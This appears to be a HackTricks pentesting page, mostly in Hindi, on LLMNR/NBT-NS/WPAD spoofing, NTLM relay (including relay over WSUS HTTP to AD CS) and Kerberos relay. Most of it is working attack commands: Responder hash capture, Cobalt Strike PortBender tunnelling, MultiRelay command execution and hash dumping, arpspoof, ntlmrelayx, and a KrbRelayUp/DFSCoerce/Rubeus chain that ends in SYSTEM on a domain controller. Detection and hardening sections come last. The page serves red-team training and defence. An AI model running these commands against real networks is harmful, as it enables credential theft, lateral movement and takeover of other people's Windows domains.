Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 16 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft और अन्य ऑपरेटिंग सिस्टम DNS विफल होने पर लोकल नाम रिज़ोल्यूशन के लिए LLMNR और NBT-NS का उपयोग करते हैं। इसी तरह, Apple और Linux सिस्टम mDNS का उपयोग करते हैं।
  • ये प्रोटोकॉल उनके अनऑथेंटिकेटेड, UDP पर ब्रॉडकास्ट प्रकृति के कारण इंटरसेप्ट और spoofing के प्रति संवेदनशील होते हैं।
  • Responder का उपयोग इन प्रोटोकॉल्स को क्वेरी करने वाले होस्ट्स को फ़ोर्ज्ड रिस्पॉन्स भेजकर सेवाओं का impersonate करने के लिए किया जा सकता है।
  • Further information on service impersonation using Responder can be found here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD ब्राउज़रों को proxy सेटिंग्स स्वतः खोजने की सुविधा देता है।
  • Discovery DHCP, DNS के माध्यम से या DNS विफल होने पर LLMNR और NBT-NS पर fallback के जरिए किया जाता है।
  • Responder WPAD attacks को automate कर सकता है, ग्राहकों को malicious WPAD सर्वरों की ओर निर्देशित करके।

Responder for Protocol Poisoning

  • Responder एक टूल है जो LLMNR, NBT-NS, और mDNS क्वेरीज़ को poison करने के लिए उपयोग किया जाता है, क्वेरी प्रकारों के आधार पर selective responses देता है और मुख्य रूप से SMB सेवाओं को लक्षित करता है।
  • यह Kali Linux में pre-installed आता है और /etc/responder/Responder.conf पर कॉन्फ़िगर किया जा सकता है।
  • Responder पकड़े गए hashes को स्क्रीन पर दिखाता है और उन्हें /usr/share/responder/logs डायरेक्टरी में सेव करता है।
  • यह IPv4 और IPv6 दोनों को सपोर्ट करता है।
  • Windows version of Responder is available here.

Running Responder

  • To run Responder with default settings: responder -I <Interface>
  • For more aggressive probing (with potential side effects): responder -I <Interface> -P -r -v
  • Techniques to capture NTLMv1 challenges/responses for easier cracking: responder -I <Interface> --lm --disable-ess
  • WPAD impersonation can be activated with: responder -I <Interface> --wpad
  • NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • Spoofing DHCP responses से शिकार के routing information को स्थायी रूप से poison किया जा सकता है, जो ARP poisoning की तुलना में अधिक stealthy विकल्प हो सकता है।
  • इसके लिए target नेटवर्क के configuration का सटीक ज्ञान आवश्यक होता है।
  • हमला चलाने के लिए: ./Responder.py -I eth0 -Pdv
  • यह विधि NTLMv1/2 hashes को प्रभावी ढंग से capture कर सकती है, लेकिन नेटवर्क disruption से बचने के लिए सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है।

Capturing Credentials with Responder

  • Responder उपर्युक्त प्रोटोकॉल्स का उपयोग करके सेवाओं का impersonate करेगा और जब उपयोगकर्ता spoofed सेवाओं के खिलाफ authenticate करने का प्रयास करेगा तो क्रेडेंशियल्स (अक्सर NTLMv2 Challenge/Response) capture कर लेगा।
  • आसान credential cracking के लिए NetNTLMv1 पर downgrade करने या ESS को disable करने का प्रयास किया जा सकता है।

यह बहुत ज़रूरी है कि इन तकनीकों का प्रयोग कानूनी और नैतिक तरीके से, उचित authorization लेकर ही किया जाए और unauthorized access या disruption से बचा जाए।

Inveigh

Inveigh Windows systems के लिए डिज़ाइन किया गया एक टूल है जो penetration testers और red teamers के लिए है। यह Responder जैसी spoofing और man-in-the-middle attacks की सुविधाएँ प्रदान करता है। यह टूल एक PowerShell स्क्रिप्ट से C# बाइनरी में विकसित हुआ है, और मुख्य संस्करण हैं Inveigh और InveighZero। विस्तृत पैरामीटर और निर्देशों के लिए wiki देखें।

Inveigh को PowerShell के माध्यम से चलाया जा सकता है:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

या C# binary के रूप में निष्पादित किया गया:

bash
Inveigh.exe

NTLM Relay Attack

यह हमला SMB authentication sessions का उपयोग करके लक्ष्य मशीन तक पहुँच बनाता है, और सफल होने पर system shell प्रदान करता है। प्रमुख पूर्व-आवश्यकताएँ हैं:

  • प्रमाणीकृत user के पास relayed host पर Local Admin access होना चाहिए।
  • SMB signing disabled होना चाहिए।

445 Port Forwarding and Tunneling

जहाँ सीधे नेटवर्क कनेक्शन संभव नहीं है, वहाँ port 445 का ट्रैफ़िक forward और tunnel किया जाना चाहिए। Tools जैसे PortBender port 445 ट्रैफ़िक को किसी अन्य पोर्ट पर redirect करने में मदद करते हैं, जो तब आवश्यक होता है जब Local Admin access ड्राइवर लोड करने के लिए उपलब्ध हो।

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack के लिए अन्य टूल

  • Metasploit: proxies, local और remote host विवरण के साथ सेटअप करें।
  • smbrelayx: SMB sessions relay करने, commands execute करने या backdoors deploy करने के लिए एक Python script।
  • MultiRelay: Responder suite का एक tool जो specific users या सभी users को relay कर सकता है, commands execute कर सकता है, या hashes dump कर सकता है।

प्रत्येक tool को आवश्यकता होने पर SOCKS proxy के माध्यम से चलने के लिए configure किया जा सकता है, जिससे indirect network access के बावजूद भी attacks संभव होते हैं।

MultiRelay ऑपरेशन

MultiRelay को /usr/share/responder/tools directory से execute किया जाता है, जो specific IPs या users को target करता है।

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

ये tools और techniques विविध नेटवर्क वातावरणों में NTLM Relay attacks करने के लिए एक व्यापक सेट बनाते हैं।

WSUS HTTP (8530) का दुरुपयोग करके NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS clients अपने update server के साथ NTLM over HTTP (8530) या HTTPS (8531) का उपयोग करके authenticate करते हैं। जब HTTP enabled होता है, तो स्थानीय सेगमेंट पर periodic client check-ins को मजबूर या intercept करके ntlmrelayx के साथ LDAP/LDAPS/SMB या AD CS HTTP endpoints (ESC8) पर बिना किसी hash-cracking के relay किया जा सकता है। यह सामान्य update ट्रैफ़िक में मिल जाता है और अक्सर machine-account authentications (HOST$) देता है।

क्या देखें

  • GPO/registry कॉन्फ़िगरेशन HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate और ...\WindowsUpdate\AU के तहत:
  • WUServer (उदा., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled और DetectionFrequency (hours)
  • WSUS SOAP endpoints जो clients HTTP पर उपयोग करते हैं:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • डिफ़ॉल्ट पोर्ट्स: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • बिना प्रमाणीकरण
  • listeners के लिए scan करें: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • L2 MITM के जरिए HTTP WSUS ट्रैफ़िक को sniff करें और सक्रिय clients/endpoints को wsusniff.py के साथ लॉग करें ( केवल HTTP, जब तक आप clients को आपकी TLS cert पर भरोसा करवा न सकें)।
  • प्रमाणीकरण के साथ
  • SYSVOL GPOs को MANSPIDER + regpol के साथ parse करके WSUS keys खोजें (wsuspider.sh wrapper WUServer/WUStatusServer/UseWUServer का सार देता है)।
  • hosts से बड़े पैमाने पर या लोकल से endpoints query करें (NetExec): nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. MITM के लिए पोज़िशन लें (same L2) ताकि कोई client WSUS server को आपको resolve करे (ARP/DNS poisoning, Bettercap, mitm6, आदि)। arpspoof के साथ उदाहरण: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. पोर्ट 8530 को अपने relay listener पर redirect करें (वैकल्पिक, सुविधाजनक): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. HTTP listener के साथ ntlmrelayx शुरू करें (HTTP listener के लिए Impacket support चाहिए; नीचे PRs देखें): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

अन्य सामान्य लक्ष्य:

  • SMB पर relay करें (यदि signing off है) exec/dump के लिए: -t smb://
  • LDAPS पर relay करें डायरेक्टरी बदलावों के लिए (उदा., RBCD): -t ldaps://
  • AD CS web enrollment (ESC8) पर relay करके cert बनवाएँ और बाद में Schannel/PKINIT से authenticate करें: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server AD CS के Abuse paths और tooling के बारे में गहराई से देखने के लिए AD CS पेज देखें:

AD CS Domain Escalation

  1. किसी client check-in को trigger करें या schedule का इंतज़ार करें। एक client से: wuauclt.exe /detectnow या Windows Update UI का उपयोग करें (Check for updates)।

  2. प्रमाणीकृत SOCKS sessions का उपयोग करें (यदि -socks) या post-exploitation के लिए direct relay परिणामों का इस्तेमाल करें (LDAP changes, SMB ops, या बाद के authentication के लिए AD CS certificate जारी करना)।

HTTPS प्रतिबंध (8531)

  • यदि clients आपकी certificate पर भरोसा नहीं करते तो WSUS पर HTTPS का passive interception प्रभावहीन है। एक trusted cert या अन्य TLS break के बिना, WSUS HTTPS ट्रैफ़िक से NTLM handshake को harvest/relay नहीं किया जा सकता।

नोट्स

  • WSUS को deprecated घोषित किया गया था पर यह अभी भी व्यापक रूप से तैनात है; HTTP (8530) कई वातावरणों में अभी भी सामान्य है।
  • उपयोगी सहायक टूल: wsusniff.py (HTTP WSUS check-ins देखें), wsuspider.sh (GPOs से WUServer/WUStatusServer enumerate करें), NetExec reg-query बड़े पैमाने पर।
  • Impacket ने ntlmrelayx के लिए HTTP listener support PR #2034 में पुनर्स्थापित किया (मूल रूप से PR #913 में जोड़ा गया था)।

Force NTLM Logins

Windows में आप कुछ privileged accounts को arbitrary machines पर authenticate करने के लिए मजबूर कर सकते हैं। कैसे करें जानने के लिए नीचे दी गई पेज पढ़ें:

Force NTLM Privileged Authentication

Kerberos Relay attack

एक Kerberos relay attack एक AP-REQ ticket चुराता है एक service से और उसी कंप्यूटर-account key साझा करने वाली दूसरी service के खिलाफ फिर से उपयोग करता है (क्योंकि दोनों SPNs एक ही $ machine account पर होते हैं)। यह तब भी काम करता है जब SPNs की service classes अलग हों (उदा. CIFS/LDAP/) क्योंकि उस टिकट को decrypt करने वाली key मशीन का NT hash है, SPN string खुद नहीं, और SPN string signature का हिस्सा नहीं होता।

NTLM relay के विपरीत, यह hop उसी host तक सीमित है पर अगर आप किसी ऐसे protocol को target करें जो LDAP में लिखने देता है, तो आप chain कर सकते हैं Resource-Based Constrained Delegation (RBCD) या AD CS enrollment में और एक ही बार में NT AUTHORITY\SYSTEM को pop कर सकते हैं।

इस attack के बारे में विस्तृत जानकारी के लिए देखें:

टोकनउद्देश्यरिले से प्रासंगिकता
TGT / AS-REQ ↔ REPउपयोगकर्ता को KDC के सामने प्रमाणित करता हैअप्रभावित
Service ticket / TGS-REQ ↔ REPएक SPN पर बाउंड; SPN owner की key से encryptedinterchangeable अगर SPNs account साझा करते हैं
AP-REQक्लाइंट service को TGS भेजता हैइसीे को हम चुराते हैं और replay करते हैं
  • टिकट्स को encrypt किया जाता है उस account की password-derived key से जो SPN का मालिक है।
  • AP-REQ के अंदर Authenticator में 5-минट का timestamp होता है; उस window के अंदर replay वैध है जब तक service cache duplicate नहीं देखता।
  • Windows अक्सर यह चेक नहीं करता कि टिकट में SPN string उस service से मेल खाती है जिसे आप hit कर रहे हैं, इसलिए CIFS/HOST के लिए टिकट आमतौर पर LDAP/HOST पर भी सही तरह से decrypt हो जाता है।
    1. Kerberos relay करने के लिए क्या सच्चा होना चाहिए
  1. Shared key: source और target SPNs एक ही computer account के हों (Windows servers पर डिफ़ॉल्ट)।
  2. No channel protection: SMB/LDAP signing बंद और HTTP/LDAPS के लिए EPA बंद।
  3. आप authentication intercept या coercion कर सकें: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, आदि।
  4. Ticket source पहले से उपयोग में न हो: रेस आप जीतें इससे पहले कि असली पैकेट पहुँचे या उसे पूरी तरह ब्लॉक करें; वरना server का replay cache Event 4649 फायर करेगा।
  5. आपको किसी तरह MitM प्रदर्शन करने में सक्षम होना चाहिए — संभवतः DNSAdmins group का हिस्सा होकर domain के DNS में बदलाव करने या victim के HOST फाइल को बदलने की क्षमता होना।

Kerberos Relay Steps

  • 3.1 Recon the host
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 relay listener शुरू करें

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp एक ही बाइनरी में KrbRelay → LDAP → RBCD → Rubeus → SCM bypass को समाहित करता है।

  • 3.3 Coerce Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce DC को हमें एक Kerberos CIFS/DC01 टिकट भेजवाता है।

  • 3.4 Relay the AP-REQ

KrbRelay SMB से GSS blob निकालता है, उसे LDAP bind में पुनः पैकेज करता है, और ldap://DC01 पर फ़ॉरवर्ड कर देता है — प्रमाणीकरण सफल हो जाता है क्योंकि वही कुंजी इसे डीक्रिप्ट कर देती है।

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

आपके पास अब NT AUTHORITY\SYSTEM है।

और रास्ते जिन्हें जानना उपयोगी है

VectorTrickWhy it matters
AuthIP / IPSecFake server sends a GSS-ID payload with any SPN; client builds an AP-REQ straight to youसबनेट्स के पार भी काम करता है; machine creds द्वारा default रूप से
DCOM / MSRPCMalicious OXID resolver forces client to auth to arbitrary SPN and portशुद्ध local priv-esc; firewall को बायपास करता है
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsLDAP signing defenses को बायपास करता है
Shadow CredentialsWrite msDS-KeyCredentialLink, then PKINIT with forged key pairकंप्यूटर अकाउंट जोड़ने की आवश्यकता नहीं है

समस्या निवारण

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyगलत host/SPN
KRB_AP_ERR_SKEWClock > 5 min offsetसमय सिंक करें या w32tm का उपयोग करें
LDAP bind failsSigning लागू हैAD CS path का उपयोग करें या signing अक्षम करें
Event 4649 spamService ने duplicate Authenticator देखाoriginal packet को block करें या race करें

डिटेक्शन

  • कुछ सेकंड के भीतर एक ही स्रोत से CIFS/, HTTP/, LDAP/ के लिए Event 4769 में वृद्धि।
  • सेवा पर Event 4649 replay का संकेत देता है।
  • 127.0.0.1 से Kerberos logon (local SCM को relay) अत्यधिक संदिग्ध है — KrbRelayUp डॉक्स में Sigma rule के माध्यम से मैप करें।
  • msDS-AllowedToActOnBehalfOfOtherIdentity या msDS-KeyCredentialLink गुणों में हुए बदलाव पर नज़र रखें।

हार्डनिंग

  1. हर सर्वर पर LDAP & SMB signing + EPA लागू करें।
  2. SPNs अलग रखें ताकि HTTP वही अकाउंट न हो जो CIFS/LDAP के लिए है।
  3. coercion vectors को patch करें (PetitPotam KB5005413, DFS, AuthIP)।
  4. ms-DS-MachineAccountQuota = 0 सेट करें ताकि rogue computer joins रोकें।
  5. Event 4649 और अनपेक्षित loopback Kerberos logons पर alert सेट करें।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें